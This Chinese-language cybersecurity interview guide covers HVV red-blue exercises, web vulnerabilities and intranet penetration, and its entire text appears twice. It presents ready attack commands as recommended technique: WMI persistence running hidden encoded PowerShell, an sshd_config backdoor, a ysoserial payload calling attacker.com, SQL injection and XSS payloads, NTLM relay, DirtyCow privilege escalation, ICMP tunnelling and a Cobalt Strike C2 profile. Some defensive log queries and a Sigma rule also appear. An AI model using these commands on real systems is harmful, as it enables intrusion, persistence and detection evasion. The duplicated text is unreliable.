1. 网络安全面试全景解析从HVV到红蓝对抗作为从业七年的网络安全工程师我经历过数十次HVV行动和上百场技术面试。这份指南将系统梳理网络安全面试的核心知识体系涵盖HVV专项、OWASP Top 10、内网渗透等关键技术点。不同于网上零散的面试题集合我会结合真实攻防场景讲解每个技术点背后的攻防逻辑。提示本文技术细节均来自公开漏洞库和实战经验总结请勿用于非法测试。建议收藏后配合虚拟机环境实操演练。2. HVV行动专题精讲2.1 攻击链全流程拆解在最近的HVV行动中攻击方通常遵循以下标准化流程信息收集阶段使用FOFA进行资产测绘语法示例title管理后台 regionCN子域名爆破推荐使用ksubdomain实测每秒10万级DNS查询端口扫描建议用masscannmap组合规避IDS检测策略漏洞利用阶段Web应用重点检测Spring Boot Actuator未授权、Swagger接口泄露中间件优先测试Weblogic T3协议、Redis未授权访问办公系统关注OA系统历史漏洞如泛微ecology SQL注入权限维持技巧Windows系统推荐使用WMI事件订阅比计划任务更隐蔽$filterArgs {nameUpdateFilter; EventNameSpaceroot\cimv2; QueryLanguageWQL; QuerySELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System} $consumerArgs {nameUpdateConsumer; CommandLineTemplatecmd.exe /c powershell -nop -w hidden -enc [BASE64_PAYLOAD]}Linux系统可通过修改sshd_config添加后门账户echo Match Address 192.168.1.100 /etc/ssh/sshd_config echo ForceCommand /bin/bash /etc/ssh/sshd_config systemctl restart sshd2.2 典型漏洞深度剖析以2023年HVV高频漏洞CVE-2023-21839Weblogic反序列化为例漏洞原理GIOP协议在处理IIOP传输对象时未严格校验Class类型攻击者可构造恶意序列化数据触发JNDI注入利用过程# 生成Payload java -jar ysoserial.jar JRMPClient ldap://attacker.com:1389/Exploit # 发送恶意IIOP请求 python3 exploit.py target_ip 7001 payload.ser防御方案临时方案禁用T3/T3S/IIOP协议!-- weblogic.xml配置示例 -- protocol nameIIOP/name enabledfalse/enabled /protocol根本方案安装Oracle官方补丁3. OWASP Top 10实战指南3.1 注入类漏洞防护体系SQL注入进阶检测技术布尔盲注推荐使用ASCII(SUBSTRING())组合时间盲注注意使用SLEEP(2)而非BENCHMARK()某些环境被禁用报错注入最新payloadSELECT extractvalue(1,concat(0x7e,(SELECT user()),0x7e))防护方案对比方案类型实现方式优点缺点预编译PreparedStatement完全杜绝注入需要改造代码过滤正则表达式部署简单可能被绕过WAF规则匹配无需改代码存在误判3.2 跨站脚本(XSS)攻防演进现代XSS攻击变种DOM型XSS利用技巧eval(decodeURIComponent(location.hash.slice(1)))SVG文件XSSsvg xmlnshttp://www.w3.org/2000/svg onloadalert(1)/CSP策略配置范例Content-Security-Policy: default-src self; script-src self unsafe-inline cdn.example.com; img-src *; style-src self unsafe-inline; frame-ancestors none4. 内网渗透核心技术4.1 横向移动技术矩阵Windows域环境渗透路线信息收集net group Domain Admins /domain nltest /dclist:corp权限提升Kerberoasting攻击GetUserSPNs.py -dc-ip 192.168.1.1 corp.com/userNTLM中继攻击ntlmrelayx.py -t ldap://dc01 -wh attacker-wpad --delegate-accessLinux提权方法速查SUID提权find / -perm -4000 2/dev/null内核漏洞利用gcc dirtycow.c -o dirty -pthread ./dirty /etc/passwd4.2 隧道技术实战对比工具协议适用场景检测难度FRPTCP稳定传输中等NgrokHTTP穿透防火墙容易ICMP隧道ICMP严格网络限制困难DNS隧道DNS出网限制困难ICMP隧道搭建示例# 服务端 ptunnel -x password # 客户端 ptunnel -p server_ip -lp 1080 -da target_ip -dp 3389 -x password5. 红蓝对抗专题5.1 攻击方战术手册免杀技术演进静态免杀使用Shellcode加载器如DonutPE文件加壳推荐使用UPX自定义签名动态免杀API调用混淆通过SysWhispers2直接系统调用内存加密分段解密执行C2基础设施搭建# Cobalt Strike配置文件示例 http-certificate { use acme.com password 123456 keystore store.jks } http-config { headers Server: nginx/1.14.0 block_useragents curl*,lynx* }5.2 防守方实战要点日志分析关键字段-- 检测Webshell访问 SELECT * FROM web_logs WHERE uri LIKE %.jsp AND status_code 200 AND response_size 500 AND referer IS NULL -- 识别暴力破解 SELECT src_ip, COUNT(*) FROM auth_logs WHERE event_time NOW() - INTERVAL 5 MINUTE AND result FAILURE GROUP BY src_ip HAVING COUNT(*) 10威胁狩猎检测规则# Sigma规则示例 title: Suspicious Process Hollowing description: Detects process hollowing used by malware logsource: product: windows service: sysmon detection: selection: EventID: 10 TargetImage: *\svchost.exe SourceImage: *\msbuild.exe condition: selection6. 面试实战技巧6.1 技术问题应答策略漏洞原理类问题采用3W结构What漏洞定义如这是XX组件的反序列化漏洞Why根本原因如未校验输入对象的Class类型How利用方式如构造恶意Gadget链触发RCE场景分析类问题使用假设-验证法 假设遇到这种情况我会先确认XX条件通过XX方法验证可能的解决方向包括...6.2 高频问题精解问题如何检测内网中存在永恒之蓝漏洞的主机标准答案使用Nmap脚本扫描nmap -p445 --script smb-vuln-ms17-010 192.168.1.0/24流量特征检测SMBv1协议协商过程特定Transaction2请求参数主机侧检测检查系统补丁KB4012212验证注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters7. 持续学习路径7.1 技术演进跟踪2023年新兴威胁云原生安全容器逃逸、K8s RBAC滥用AI安全模型逆向、数据投毒供应链攻击NPM/PyPI恶意包检测推荐研究路线graph LR A[基础技能] -- B[Web安全] A -- C[系统安全] B -- D[代码审计] C -- E[内网渗透] D -- F[框架漏洞] E -- G[域渗透] F -- H[红队开发] G -- H7.2 实验室搭建建议低成本靶场方案虚拟机嵌套# 启用KVM嵌套虚拟化 cat /sys/module/kvm_intel/parameters/nested echo options kvm-intel nestedY /etc/modprobe.d/kvm-intel.conf推荐镜像VulnhubDC系列、HackTheBox退役机自建环境Windows Server 2016域 各类漏洞中间件在最近的护网行动中我们发现攻击方开始大量使用云函数作为C2跳板防守方需要特别关注outbound流量中的云服务商IP段。建议在安全设备上维护动态的云厂商IP情报库这对及时发现隐蔽通道至关重要。 网络安全面试与HVV实战：从红蓝对抗到内网渗透
1. 网络安全面试全景解析从HVV到红蓝对抗作为从业七年的网络安全工程师我经历过数十次HVV行动和上百场技术面试。这份指南将系统梳理网络安全面试的核心知识体系涵盖HVV专项、OWASP Top 10、内网渗透等关键技术点。不同于网上零散的面试题集合我会结合真实攻防场景讲解每个技术点背后的攻防逻辑。提示本文技术细节均来自公开漏洞库和实战经验总结请勿用于非法测试。建议收藏后配合虚拟机环境实操演练。2. HVV行动专题精讲2.1 攻击链全流程拆解在最近的HVV行动中攻击方通常遵循以下标准化流程信息收集阶段使用FOFA进行资产测绘语法示例title管理后台 regionCN子域名爆破推荐使用ksubdomain实测每秒10万级DNS查询端口扫描建议用masscannmap组合规避IDS检测策略漏洞利用阶段Web应用重点检测Spring Boot Actuator未授权、Swagger接口泄露中间件优先测试Weblogic T3协议、Redis未授权访问办公系统关注OA系统历史漏洞如泛微ecology SQL注入权限维持技巧Windows系统推荐使用WMI事件订阅比计划任务更隐蔽$filterArgs {nameUpdateFilter; EventNameSpaceroot\cimv2; QueryLanguageWQL; QuerySELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System} $consumerArgs {nameUpdateConsumer; CommandLineTemplatecmd.exe /c powershell -nop -w hidden -enc [BASE64_PAYLOAD]}Linux系统可通过修改sshd_config添加后门账户echo Match Address 192.168.1.100 /etc/ssh/sshd_config echo ForceCommand /bin/bash /etc/ssh/sshd_config systemctl restart sshd2.2 典型漏洞深度剖析以2023年HVV高频漏洞CVE-2023-21839Weblogic反序列化为例漏洞原理GIOP协议在处理IIOP传输对象时未严格校验Class类型攻击者可构造恶意序列化数据触发JNDI注入利用过程# 生成Payload java -jar ysoserial.jar JRMPClient ldap://attacker.com:1389/Exploit # 发送恶意IIOP请求 python3 exploit.py target_ip 7001 payload.ser防御方案临时方案禁用T3/T3S/IIOP协议!-- weblogic.xml配置示例 -- protocol nameIIOP/name enabledfalse/enabled /protocol根本方案安装Oracle官方补丁3. OWASP Top 10实战指南3.1 注入类漏洞防护体系SQL注入进阶检测技术布尔盲注推荐使用ASCII(SUBSTRING())组合时间盲注注意使用SLEEP(2)而非BENCHMARK()某些环境被禁用报错注入最新payloadSELECT extractvalue(1,concat(0x7e,(SELECT user()),0x7e))防护方案对比方案类型实现方式优点缺点预编译PreparedStatement完全杜绝注入需要改造代码过滤正则表达式部署简单可能被绕过WAF规则匹配无需改代码存在误判3.2 跨站脚本(XSS)攻防演进现代XSS攻击变种DOM型XSS利用技巧eval(decodeURIComponent(location.hash.slice(1)))SVG文件XSSsvg xmlnshttp://www.w3.org/2000/svg onloadalert(1)/CSP策略配置范例Content-Security-Policy: default-src self; script-src self unsafe-inline cdn.example.com; img-src *; style-src self unsafe-inline; frame-ancestors none4. 内网渗透核心技术4.1 横向移动技术矩阵Windows域环境渗透路线信息收集net group Domain Admins /domain nltest /dclist:corp权限提升Kerberoasting攻击GetUserSPNs.py -dc-ip 192.168.1.1 corp.com/userNTLM中继攻击ntlmrelayx.py -t ldap://dc01 -wh attacker-wpad --delegate-accessLinux提权方法速查SUID提权find / -perm -4000 2/dev/null内核漏洞利用gcc dirtycow.c -o dirty -pthread ./dirty /etc/passwd4.2 隧道技术实战对比工具协议适用场景检测难度FRPTCP稳定传输中等NgrokHTTP穿透防火墙容易ICMP隧道ICMP严格网络限制困难DNS隧道DNS出网限制困难ICMP隧道搭建示例# 服务端 ptunnel -x password # 客户端 ptunnel -p server_ip -lp 1080 -da target_ip -dp 3389 -x password5. 红蓝对抗专题5.1 攻击方战术手册免杀技术演进静态免杀使用Shellcode加载器如DonutPE文件加壳推荐使用UPX自定义签名动态免杀API调用混淆通过SysWhispers2直接系统调用内存加密分段解密执行C2基础设施搭建# Cobalt Strike配置文件示例 http-certificate { use acme.com password 123456 keystore store.jks } http-config { headers Server: nginx/1.14.0 block_useragents curl*,lynx* }5.2 防守方实战要点日志分析关键字段-- 检测Webshell访问 SELECT * FROM web_logs WHERE uri LIKE %.jsp AND status_code 200 AND response_size 500 AND referer IS NULL -- 识别暴力破解 SELECT src_ip, COUNT(*) FROM auth_logs WHERE event_time NOW() - INTERVAL 5 MINUTE AND result FAILURE GROUP BY src_ip HAVING COUNT(*) 10威胁狩猎检测规则# Sigma规则示例 title: Suspicious Process Hollowing description: Detects process hollowing used by malware logsource: product: windows service: sysmon detection: selection: EventID: 10 TargetImage: *\svchost.exe SourceImage: *\msbuild.exe condition: selection6. 面试实战技巧6.1 技术问题应答策略漏洞原理类问题采用3W结构What漏洞定义如这是XX组件的反序列化漏洞Why根本原因如未校验输入对象的Class类型How利用方式如构造恶意Gadget链触发RCE场景分析类问题使用假设-验证法 假设遇到这种情况我会先确认XX条件通过XX方法验证可能的解决方向包括...6.2 高频问题精解问题如何检测内网中存在永恒之蓝漏洞的主机标准答案使用Nmap脚本扫描nmap -p445 --script smb-vuln-ms17-010 192.168.1.0/24流量特征检测SMBv1协议协商过程特定Transaction2请求参数主机侧检测检查系统补丁KB4012212验证注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters7. 持续学习路径7.1 技术演进跟踪2023年新兴威胁云原生安全容器逃逸、K8s RBAC滥用AI安全模型逆向、数据投毒供应链攻击NPM/PyPI恶意包检测推荐研究路线graph LR A[基础技能] -- B[Web安全] A -- C[系统安全] B -- D[代码审计] C -- E[内网渗透] D -- F[框架漏洞] E -- G[域渗透] F -- H[红队开发] G -- H7.2 实验室搭建建议低成本靶场方案虚拟机嵌套# 启用KVM嵌套虚拟化 cat /sys/module/kvm_intel/parameters/nested echo options kvm-intel nestedY /etc/modprobe.d/kvm-intel.conf推荐镜像VulnhubDC系列、HackTheBox退役机自建环境Windows Server 2016域 各类漏洞中间件在最近的护网行动中我们发现攻击方开始大量使用云函数作为C2跳板防守方需要特别关注outbound流量中的云服务商IP段。建议在安全设备上维护动态的云厂商IP情报库这对及时发现隐蔽通道至关重要。